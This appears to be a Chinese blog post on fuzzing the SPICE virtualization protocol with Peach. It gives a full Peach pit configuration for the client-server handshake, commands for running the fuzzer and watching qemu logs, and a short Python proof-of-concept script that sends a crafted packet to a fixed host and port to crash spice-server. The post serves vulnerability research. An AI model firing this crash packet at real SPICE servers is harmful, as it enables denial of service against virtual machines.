前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >桌面虚拟化spice协议研究(二)

桌面虚拟化spice协议研究(二)

原创
作者头像
半月弧
修改2020-07-15 17:37:52
3K1
修改2020-07-15 17:37:52
举报
文章被收录于专栏:半月弧のhome半月弧のhome

概要

本篇主要介绍了使用fuzzing技术来发现隐藏的安全漏洞, 当我们对比较复杂的网络协议进行测试,一般来说会优先考虑基于生成的fuzz方式,即根据协议格式去定义请求,然后对请求进行变异, 来挖掘漏洞。

工具选择

因为做网络协议迷糊测试的工具有挺多种的,这里我们选择一个常用工具的peach来模糊测试spice server.

执行fuzzing

1. 安装部署peach

下载地址https://www.peach.tech/resources/peachcommunity/

2. 创建pit config文件

该文件用来定义一个fuzzing测试项目, 这里贴出我测试spice协议的例子, 修改HOST, PORT为具体地址就可以使用。在该配置文件中,最重要的就是定义数据模型,数据模型中我们需要指出对于哪几个hexdump进行模糊变异测试。

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

 <DataModel name="send_data"> 
  <Block name="mod">
   <Number name="01" size="16" value="52 45" valueType="hex" signed="false"/>
   <Number name="02" size="16" value="44 51" valueType="hex" signed="false"/>
   <Number name="03" size="16" value="02 00" valueType="hex" signed="false"/>
   <Number name="04" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="05" size="16" value="02 00" valueType="hex" signed="false"/>
   <Number name="06" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="07" size="16" value="1a 00" valueType="hex" signed="false"/>
   <Number name="08" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="09" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="10" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="11" size="16" value="01 00" valueType="hex" signed="false"/>
   <Number name="12" size="16" value="01 00" valueType="hex" signed="false"/>
   <Number name="13" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="14" size="16" value="01 00" valueType="hex" signed="false"/>
   <Number name="15" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="16" size="16" value="12 00" valueType="hex" signed="false"/>
   <Number name="17" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="18" size="16" value="09 00" valueType="hex" signed="false"/>
   <Number name="19" size="16" value="00 00" valueType="hex" signed="false"/>
   <Number name="20" size="16" value="0f 00" valueType="hex" signed="false"/>
   <Number name="21" size="16" value="00 00" valueType="hex" signed="false"/>   
  </Block>
 </DataModel>

 <StateModel name="TheState" initialState="initialState">
   <State name="initialState">
    <Action type="output">
      <DataModel ref="send_data" />
    </Action>
  </State>
 </StateModel>

 <!--使用socket进行监听端口 -->
 <Agent name="Local">
  <Monitor class="Socket">
   <Param name="Host" value="172.118.35.13" />
   <Param name="port" value="5905" />
  </Monitor>
 </Agent>

 <!--log保存-->
 <Test name="Default">
  <Agent ref="Local" />
  <StateModel ref="TheState" />
  <Logger class="File">
   <Param name="Path" value="C:\peach\logs" />
  </Logger>

  <Publisher class="tcp.Tcp">
   <Param name="Host" value="HOST" />
   <Param name="Port" value="PORT" /> 
  </Publisher>

 </Test>
</Peach>

通过抓包分析,我们需要模糊测试的是spice-client与spice-server第一次握手的过程,spice protocol协议块的hexdump则是我们主要进行fuzzing的模块。

3. 运行peach

在协议模糊测试的时候,我们需要做的不仅仅是触发crash or hang,而且我们更需要知道在什么地方出现了问题。

代码语言:javascript
复制
cd D:\peach-3.1.124-win-x64-release
.\Peach.exe sample\spice.xml

4. 监控

在这里我们通过返回响应和日志记录来判断是否出现问题。

1). 通过wireshark抓包,如果发现只有发出去的请求而没有返回的请求,或者返回的请求出现了异常, 则可能服务端出现了问题

2). 检查qemu-kvm的日志,通常日志里都会记录崩溃点。

代码语言:javascript
复制
cd /var/log/libvirt/qemu/
tailf instance-00000526.log

5. 构造poc脚本

当发现一个request可以造成虚拟机的crash的时候,就需要去构造一个poc脚本来确保crash造成的必然性,意思就是能够百分百复现当前的问题。

比如,我在模糊测试spice-server的时候发现的问题,这个脚本可以造成进程crash:

代码语言:javascript
复制
# -*- encoding: utf-8 -*-
import socket
import sys

reload(sys)
sys.setdefaultencoding('utf-8')
host = "172.118.35.13"
port = 5931

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send("\x52\x45\x44\x51\x02\x00\x00\x00\x02\x00\x1a\x00\x00\x00\xe7\xf0" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00" \
            "\x00\x00\x01\x00\x00\x00\x12\x00\x2e\x00\x21\x01\x00\x00\x0f\x00" \
            "\x00\x00")
    print s.recv(1024)
    s.close()

Spice漏洞介绍

下面的这个漏洞就是我在fuzzing spice-server的时候发现的crash漏洞

https://github.com/zelat/spice-security-issues

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概要
  • 工具选择
  • 执行fuzzing
  • Spice漏洞介绍
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档